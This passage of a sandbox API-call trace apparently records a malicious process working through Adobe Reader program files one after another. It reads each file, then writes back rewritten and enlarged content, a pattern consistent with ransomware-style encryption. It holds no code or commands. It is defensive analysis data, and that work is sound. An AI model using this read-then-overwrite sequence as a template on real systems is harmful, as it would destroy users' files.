10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\Flash.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\flash.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.985] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.985] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa00 [0039.985] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.985] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.985] ReleaseMutex (hMutex=0x128) returned 1 [0039.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.HRV", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.HRV", lpUsedDefaultChar=0x0) returned 9 [0039.985] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.986] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.986] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.987] CloseHandle (hObject=0x12c) returned 1 [0039.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\QuickTime.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\quicktime.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.988] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.988] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa00 [0039.988] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.988] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.988] ReleaseMutex (hMutex=0x128) returned 1 [0039.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.988] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.POL", cchWideChar=13, lpMultiByteStr=0x1e6320c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.POL", lpUsedDefaultChar=0x0) returned 13 [0039.988] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.990] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.990] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.990] CloseHandle (hObject=0x12c) returned 1 [0039.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Flash.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\flash.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.990] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.990] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa00 [0039.990] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.990] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.990] ReleaseMutex (hMutex=0x128) returned 1 [0039.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SKY", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SKY", lpUsedDefaultChar=0x0) returned 9 [0039.991] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.992] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.992] WriteFile (in: hFile=0x12c, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.993] CloseHandle (hObject=0x12c) returned 1 [0039.993] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\QuickTime.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\quicktime.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.993] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.993] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa00 [0039.993] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.993] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.993] ReleaseMutex (hMutex=0x128) returned 1 [0039.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.TUR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.TUR", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.TUR", lpUsedDefaultChar=0x0) returned 13 [0039.993] ReadFile (in: hFile=0x12c, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2b0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.997] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.997] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.998] CloseHandle (hObject=0x12c) returned 1 [0039.998] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\reflow.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.998] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.998] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x54e63 [0039.998] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.998] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.998] ReleaseMutex (hMutex=0x128) returned 1 [0039.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.api", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.api", lpUsedDefaultChar=0x0) returned 10 [0039.998] ReadFile (in: hFile=0x12c, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0040.000] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x53e63 [0040.001] ReadFile (in: hFile=0x12c, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.005] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x53e63 [0040.006] WriteFile (in: hFile=0x12c, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.007] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0040.007] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0040.007] CloseHandle (hObject=0x12c) returned 1 [0040.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx9.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.364] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0040.365] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xc6f90 [0040.365] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0040.365] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.365] ReleaseMutex (hMutex=0x128) returned 1 [0040.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX9.x3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX9.x3d", cchWideChar=10, lpMultiByteStr=0x1e633ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvDX9.x3d", lpUsedDefaultChar=0x0) returned 10 [0040.365] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.368] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.369] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc5f90 [0040.369] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c5dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.370] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc5f90 [0040.371] WriteFile (in: hFile=0x1d4, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.371] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0040.371] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.372] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.372] CloseHandle (hObject=0x1d4) returned 1 [0040.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins\\ADMPlugin.apl" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\spplugins\\admplugin.apl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.372] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0040.372] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x154e00 [0040.373] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0040.373] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.373] ReleaseMutex (hMutex=0x128) returned 1 [0040.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ADMPlugin.apl", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ADMPlugin.apl", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPlugin.apl", lpUsedDefaultChar=0x0) returned 13 [0040.373] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.384] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.435] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x153e00 [0040.435] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.455] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x153e00 [0040.455] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.456] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0040.456] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.457] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.457] CloseHandle (hObject=0x1d4) returned 1 [0040.457] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.873] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0040.873] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x265 [0040.873] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0040.873] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.873] ReleaseMutex (hMutex=0x128) returned 1 [0040.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_distributed.gif", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0040.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_distributed.gif", cchWideChar=21, lpMultiByteStr=0x1e78b7c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_distributed.gif", lpUsedDefaultChar=0x0) returned 21 [0040.874] ReadFile (in: hFile=0x1cc, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x265, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0x265, lpOverlapped=0x0) returned 1 [0040.929] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0040.929] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7ed, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x7ed, lpOverlapped=0x0) returned 1 [0040.929] CloseHandle (hObject=0x1cc) returned 1 [0040.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.937] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0040.937] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x38d [0040.937] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0040.937] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.937] ReleaseMutex (hMutex=0x128) returned 1 [0040.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_sent.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_sent.gif", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_sent.gif", lpUsedDefaultChar=0x0) returned 16 [0040.938] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x38d, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2b0f2bc*=0x38d, lpOverlapped=0x0) returned 1 [0040.964] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0040.964] WriteFile (in: hFile=0x1cc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x915, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, 